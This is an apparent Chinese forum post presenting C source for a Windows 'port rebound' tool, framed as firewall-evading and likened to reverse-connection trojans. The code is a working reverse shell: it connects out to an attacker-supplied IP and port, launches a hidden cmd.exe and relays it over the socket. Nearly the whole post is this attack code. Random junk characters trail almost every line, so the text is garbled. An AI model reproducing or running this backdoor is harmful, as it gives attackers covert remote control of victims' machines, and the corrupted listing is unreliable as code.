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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b {e nD  
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/* ============================== lZTD>$  
Rebound port in Windows NT wL]7d3t  
By wind,2006/7 n<;T BK  
===============================*/ sF?N vp  
#include v*Qr(4  
#include i[b?W$]7  
pIh%5Z U  
#pragma comment(lib,"wsock32.lib") gk+$CyjJ  
Az2HlKF"L  
void OutputShell(); s9 '*Vm  
SOCKET sClient; 3IqYpK(s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %2=nS<kC  
lgC|3]  
void main(int argc,char **argv) y%CaaK=V3  
{ * pN,@ZV$  
WSADATA stWsaData; .'Vjs2 2  
int nRet; XDvT#(Pu  
SOCKADDR_IN stSaiClient,stSaiServer; C[$uf  
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if(argc != 3) @b=b>V[d6  
{ .^^YS$%%7  
printf("Useage:\n\rRebound DestIP DestPort\n"); |[x) %5F  
return; %Uk]e5Hu  
} Z7&Bn  
iYj+NL  
WSAStartup(MAKEWORD(2,2),&stWsaData); XfF Z;ul  
`, ?T;JRc  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2U6j?MyH2  
b'Gn)1NE  
stSaiClient.sin_family = AF_INET; @>'.F<:P<  
stSaiClient.sin_port = htons(0); K;2tY+I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |5SYKA7CS  
4*9y4"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rm*Jo|eH`  
{ G0Wzx)3]  
printf("Bind Socket Failed!\n"); N1ZHaZ  
return; F kas*79  
} |y@TI  
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stSaiServer.sin_family = AF_INET; xUE9%qO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ue|]M36  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /+ G&N{)k  
Au'[|Pr r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sk@~}  
{ $l }MB7  
printf("Connect Error!"); %p?u ^rq  
return; vs|>U-Mpw~  
} @RKw1$BA  
OutputShell(); H".~@,-}  
} e!}R1  
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void OutputShell() 3`4g*wO  
{ j r6)K;:.  
char szBuff[1024]; uQ#3;sFO  
SECURITY_ATTRIBUTES stSecurityAttributes; !8]W"@qb  
OSVERSIONINFO stOsversionInfo; xz YvD{>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JpDc3^B*  
STARTUPINFO stStartupInfo; 6vz9r)L  
char *szShell; JZ&]"12]fR  
PROCESS_INFORMATION stProcessInformation; DUiqt09`~  
unsigned long lBytesRead; fL4F ~@`9l  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "(ehf|%>%  
}' `2C$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5:SfPAx  
stSecurityAttributes.lpSecurityDescriptor = 0; w}pFa76rm  
stSecurityAttributes.bInheritHandle = TRUE; ^I9x@t  
P-ma~g>I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $H^hK0?'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m*h d%1D  
& v=2u,]T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |r5|IA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vin d\yvM  
stStartupInfo.wShowWindow = SW_HIDE; G8"L #[~  
stStartupInfo.hStdInput = hReadPipe; |{HtY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pdsjX)O+f  
~DcX}VCm  
GetVersionEx(&stOsversionInfo); o<locZ  
UT$G?D";M  
switch(stOsversionInfo.dwPlatformId) }Tn]cL{]C  
{ R% XbO~{u  
case 1: HS| &["  
szShell = "command.com"; /kyuL]6  
break; *iS<]y  
default: ]t]s/;9]K  
szShell = "cmd.exe"; N. 3 x[%:  
break; j2 "j Cv  
} nm 66U4.@  
<pRb#G"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J\XYUs  
)DuOo83n["  
send(sClient,szMsg,77,0); M~;Ww-./  
while(1) hRSRz5 J}  
{ pm O}m>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eu ~WFI  
if(lBytesRead) 3]0ETcT  
{ IZeWswz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); GEy^*, d  
send(sClient,szBuff,lBytesRead,0); N5[QQtQ  
} g+p?J.+  
else SZH,I&8  
{ dNG>:p  
lBytesRead=recv(sClient,szBuff,1024,0); Z<z(;)?c  
if(lBytesRead<=0) break; UceZW tYa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XX~~SvSM  
} -gH1`*YL  
} %1a\"F![  
f&B&!&gZ  
return; k 61Ot3  
}
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